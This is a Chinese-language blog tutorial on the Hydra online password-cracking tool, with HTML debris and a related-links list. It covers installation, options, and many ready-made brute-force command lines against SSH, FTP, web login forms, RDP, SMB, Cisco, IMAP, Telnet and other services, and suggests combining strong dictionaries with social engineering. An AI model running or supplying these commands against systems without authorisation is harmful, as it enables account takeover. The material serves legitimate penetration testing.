Linux下的暴力密码在线破解工具Hydra详解

 

这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型***来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,使用本文内容去做破坏者,与本人无关


一、简介

hydra是著名***组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra

可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

hydra下载地址:http://www.thc.org/releases/hydra-7.3.tar.gz

# tar zxvf hydra-7.0-src.tar.gz
# cd hydra-7.0-src
# ./configure
# make
# make install

hydra支持GUI图形界面,不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

四、各种用法实例

简单演示:
九爷带你了解 暴力密码在线破解工具 Hydra_第1张图片
破解成功,直接显示结果,上图画红线的地方就是破解出来的密码,也可以通过参数-o输出到文件里。如果字典够强大,结合社工,密码不用很久就出来。

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"


hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)</span></p> <p><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;">5、破解https:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>6、破解teamspeak:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>7、破解cisco:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -P pass.txt 10.36.16.18 cisco<br>hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>8、破解smb:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l administrator -P pass.txt 10.36.16.18 smb<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>9、破解pop3:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l muts -P pass.txt my.pop3.mail pop3<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>10、破解rdp:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra ip rdp -l administrator -P pass.txt -V<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>11、破解http-proxy:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -l admin -P pass.txt http-proxy://10.36.16.18<br></span><span style="font-family:Georgia;color:rgb(0,34,0);font-size:12px;"><br>12、破解imap:<br></span><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br>hydra -L user.txt -p secret 10.36.16.18 imap PLAIN<br>hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</span></p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br></span></p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"></span></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">一、简介</strong></span></p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="color:rgb(255,0,0);">Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.</span></p> <p style="margin:10px auto;padding:0px;"><span style="color:rgb(255,0,0);">Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.</span></p> <p style="margin:10px auto;padding:0px;">Currently this tool supports: <br style="margin:0px;padding:0px;">AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.</p> <p style="margin:10px auto;padding:0px;">For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.</p> <p style="margin:10px auto;padding:0px;">This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.</p> <p style="margin:10px auto;padding:0px;">The program is maintained by van Hauser and David Maciejak.</p> <p style="margin:10px auto;padding:0px;">The Hackers Choice <br style="margin:0px;padding:0px;">http://www.thc.org/thc-hydra</p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;"><br></strong></span></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">二、安装</strong></span></p> <p style="margin:10px auto;padding:0px;">1、安装相关依赖包</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>Ubuntu/Debian</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra</pre> <p style="margin:10px auto;padding:0px;">  Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装。</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>Redhat/Fedora</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>OpenSuSE</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel</pre> <p style="margin:10px auto;padding:0px;">本实验用的是 CentOS release 5.6 (Final),执行yum install 后相关依赖包安装情况如下:</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">2、Hydra 安装</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># wget http://www.thc.org/releases/hydra-7.4.1.tar.gz # tar zxvf hydra-7.4.1.tar.gz # cd hydra-7.4.1 # ./configure  # make && make install</pre> <p style="margin:10px auto;padding:0px;"># ./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"># make</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"># make install</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">三、Syntax</strong></span></p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]</pre> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-R</strong><br style="margin:0px;padding:0px;">继续从上一次进度接着破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-S</strong><br style="margin:0px;padding:0px;">大写,采用SSL链接</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-s <PORT></strong><br style="margin:0px;padding:0px;">小写,可通过这个参数指定非默认端口</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-l <LOGIN></strong><br style="margin:0px;padding:0px;">指定破解的用户,对特定用户破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-L <FILE></strong><br style="margin:0px;padding:0px;">指定用户名字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-p <PASS></strong><br style="margin:0px;padding:0px;">小写,指定密码破解,少用,一般是采用密码字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-P <FILE></strong><br style="margin:0px;padding:0px;">大写,指定密码字典</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-e <ns></strong><br style="margin:0px;padding:0px;">可选选项,n:空密码试探,s:使用指定用户和密码试探</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-C <FILE></strong><br style="margin:0px;padding:0px;">使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-M <FILE></strong><br style="margin:0px;padding:0px;">指定目标列表文件一行一条</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-o <FILE></strong><br style="margin:0px;padding:0px;">指定结果输出文件</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-f</strong><br style="margin:0px;padding:0px;">在使用-M参数以后,找到第一对登录名或者密码的时候中止破解</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-t <TASKS></strong><br style="margin:0px;padding:0px;">同时运行的线程数,默认为16</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-w <TIME></strong><br style="margin:0px;padding:0px;">设置最大超时的时间,单位秒,默认是30s</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">-v / -V</strong><br style="margin:0px;padding:0px;">显示详细过程</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">server</strong><br style="margin:0px;padding:0px;">目标ip</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">service</strong><br style="margin:0px;padding:0px;">指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等</p> <p style="margin:10px auto 10px 30px;padding:0px;"><strong style="margin:0px;padding:0px;">OPT</strong><br style="margin:0px;padding:0px;">可选项</p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">四、实例</strong></span></p> <p style="margin:10px auto;padding:0px;">1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。 </p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">2、破解ssh:</p> <p style="margin:10px auto;padding:0px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;">破解成功,直接显示结果。</p> <p style="margin:10px auto;padding:0px;">也可以使用 -o 选项指定结果输出文件。</p> <p style="margin:10px auto;padding:0px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh</p> <p style="margin:10px auto;padding:0px;"></p> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">五、其他类型密码破解</strong></span></p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解ftp:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>get方式提交,破解web登录:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';">  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/   # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>post方式提交,破解web登录:</p></li> </ul> <p style="margin:10px auto;padding:0px;">  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"><form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form></pre> <p style="margin:10px auto;padding:0px;">  假设有以上一个密码登录表单,我们执行命令:</p> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。</p> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解https:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解teamspeak:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解cisco:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解smb:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l administrator -P pass.txt 10.36.16.18 smb</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解pop3:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l muts -P pass.txt my.pop3.mail pop3</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解rdp:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip rdp -l administrator -P pass.txt -V</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解http-proxy:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -l admin -P pass.txt http-proxy://10.36.16.18</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解imap:</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</pre> <ul style="margin-left:30px;padding:0px;" class="list-paddingleft-2"> <li><p>破解telnet</p></li> </ul> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New';"># hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V</pre> <p style="margin:10px auto;padding:0px;"><span style="margin:0px;padding:0px;line-height:1.8;color:rgb(128,0,0);font-size:16px;"><strong style="margin:0px;padding:0px;">六、总结</strong></span></p> <p style="margin:10px auto;padding:0px;">此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型***来说,有时能够得到事半功倍的效果。</p> <p>分类: Linux</p> <p><span style="font-family:monospace;color:rgb(0,34,0);font-size:9px;background:rgb(255,255,255);"><br></span><br></p> <p><span style="font-family:Calibri;font-size:14px;"> </span></p> <p><br></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1211798285442977792"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(了解,九爷带你,暴力密码,Sass,Pass)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1884227385239334912.htm" title="数组at()方法:负索引的救赎与JavaScript标准化之路" target="_blank">数组at()方法:负索引的救赎与JavaScript标准化之路</a> <span class="text-muted">不做超级小白</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E5%8A%9F%E8%83%BD%E9%80%9A%E5%85%B3%E7%A7%98%E7%B1%8D/1.htm">前端功能通关秘籍</a><a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF/1.htm">web前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a> <div>数组at()方法:负索引的救赎与JavaScript标准化之路从一次代码评审说起在某次团队代码评审中,小白注意到有同事写下了这样的代码:constlastItem=arr[arr.length-1];这让我回想起自己早期开发时被负索引问题困扰的经历。今天,随着ES2022的发布,我们终于迎来了官方解决方案——Array.prototype.at()。本文将带你深入理解这一新特性背后的设计哲学与技术</div> </li> <li><a href="/article/1884225238128979968.htm" title="数码管扫描显示verilog_如何开始Xilinx FPGA开发之旅 第二课 EGO1数码管与键盘" target="_blank">数码管扫描显示verilog_如何开始Xilinx FPGA开发之旅 第二课 EGO1数码管与键盘</a> <span class="text-muted">weixin_39869959</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E7%A0%81%E7%AE%A1%E6%89%AB%E6%8F%8F%E6%98%BE%E7%A4%BAverilog/1.htm">数码管扫描显示verilog</a> <div>庚子年,我们的EGO1在疫情当中作为口袋实验平台成为了众多高校的复课利器。其中的成功案例更是得到了新华社网媒与CCTV教育频道的报道。借此东风,为了让更多的老师与学生熟悉了解Xilinx,更好的入门学习FPGA知识,我们的师资培训直播已开设EGO1专题直播,欢迎新老朋友跟踪关注。第二课----EGO1数码管与键盘本周的直播我们将介绍EGO1的外设使用案例,介绍数码管扫描的原理和PS/2协议。并教大</div> </li> <li><a href="/article/1884225111037374464.htm" title="SystemTap了解" target="_blank">SystemTap了解</a> <span class="text-muted">weixin_34337265</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>SystemTrap是监控和跟踪运行中的Linux内核操作的动态方法。http://www.ibm.com/developerworks/cn/linux/l-systemtap/使用SystemTrap需要使用trap来运行一个stp脚本如何安装:Centos下直接yuminstallsystemtrap就行了测试是否可以运行运行:stap-ve'probebegin{log("hellowor</div> </li> <li><a href="/article/1884222211657625600.htm" title="【设计模式-行为型】备忘录模式" target="_blank">【设计模式-行为型】备忘录模式</a> <span class="text-muted">博一波</span> <a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E5%A4%87%E5%BF%98%E5%BD%95%E6%A8%A1%E5%BC%8F/1.htm">备忘录模式</a> <div>一、什么是备忘录模式来到备忘录模式了,这个模式我感觉相对简单一些,就是备份,或者快照。跟前面一样为了加深理解,我们引入一个电影情结来说明啥是备忘录模式,以来加深大家对备忘录模式的认识。那么,在电影中谁是此模式应用的王者呢。我想起一位,不知道大家有没有看过一个极其经典的电影,星爷的《大话西游》。在电影《大话西游》中,至尊宝利用月光宝盒不断穿越到紫霞仙子自杀前的时间段,试图改变结局。这种时间穿越和状态</div> </li> <li><a href="/article/1884221328924405760.htm" title="Python简单Web开发" target="_blank">Python简单Web开发</a> <span class="text-muted">patrick_wang_bigdata</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>WSGI介绍HTTP协议和HTML的介绍不在这里说明,可以去看廖雪峰老师的教程了解这方面内容。一个web应用的本质是:浏览器发送一个HTTP请求服务器收到请求,生成一个HTML文档服务器把HTML文档作为HTTP响应的Body发送给浏览器浏览器收到HTTP响应,从HTTP响应Body中取出HTML并显示最简单的web应用就是先把HTML保存好,然后需要时直接响应给HTTP请求。对Python而言,</div> </li> <li><a href="/article/1884211620968722432.htm" title="【设计模式-行为型】迭代器模式" target="_blank">【设计模式-行为型】迭代器模式</a> <span class="text-muted">博一波</span> <a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E8%BF%AD%E4%BB%A3%E5%99%A8%E6%A8%A1%E5%BC%8F/1.htm">迭代器模式</a> <div>一、什么是迭代器模式迭代器模式,顾名思义,同样的为了让大家更加了解啥是迭代器。我们通过电影情结来说明,不知道大家有没有看过一个剧烧脑的科幻大片--《盗梦空间》。影片讲述了由造梦师(莱昂纳多·迪卡普里奥扮演的)带领特工团队进入他人梦境,从潜意识中盗取机密并重塑他人梦境的故事。其中个东西叫做造梦机,无论是谁(稍微不太准确),加以培训(使用造梦机)都可以进入多层梦境。这就是个典型的迭代器模式。盗梦空间中</div> </li> <li><a href="/article/1884207589063979008.htm" title="用React编写一个密码组件表单" target="_blank">用React编写一个密码组件表单</a> <span class="text-muted">zayyo</span> <a class="tag" taget="_blank" href="/search/react.js/1.htm">react.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>theme:condensed-night-purplehighlight:atelier-cave-light背景介绍我们在使用网站或者应用程序的登录界面或创建帐户界面时,往往避免不了需要用户输入密码这一步骤,而用户是否可以选择看见他们输入的密码是十分重要的一项功能。尤其是在当输入的密码是很长而且包含不同的符号的时候,这一功能就显的尤为重要且好用。但是这一功能如何来实现确实阻碍很多工程师的一个问</div> </li> <li><a href="/article/1884198887976136704.htm" title="基于SpringBoot的模拟证券交易系统" target="_blank">基于SpringBoot的模拟证券交易系统</a> <span class="text-muted">SAFE20242034</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E4%B8%80/1.htm">一</a><a class="tag" taget="_blank" href="/search/SpringBoot/1.htm">SpringBoot</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>模拟证券交易系统项目概述本项目是一个基于Java的模拟证券交易系统,主要功能包括用户注册、登录、账户管理、股票查询、股票买卖以及交易记录查询等操作。系统采用SpringBoot实现后端,MySQL作为数据存储,前端使用HTML和JavaScript提供简单交互。主要功能模块1.用户注册与登录用户可以注册一个账户,包括用户名、密码、初始余额。用户登录后可访问其账户信息和进行股票交易操作。2.股票查询</div> </li> <li><a href="/article/1884193843822260224.htm" title="WordPress网站选择LNMP环境和LAMP环境哪个好" target="_blank">WordPress网站选择LNMP环境和LAMP环境哪个好</a> <span class="text-muted">zoneidccom</span> 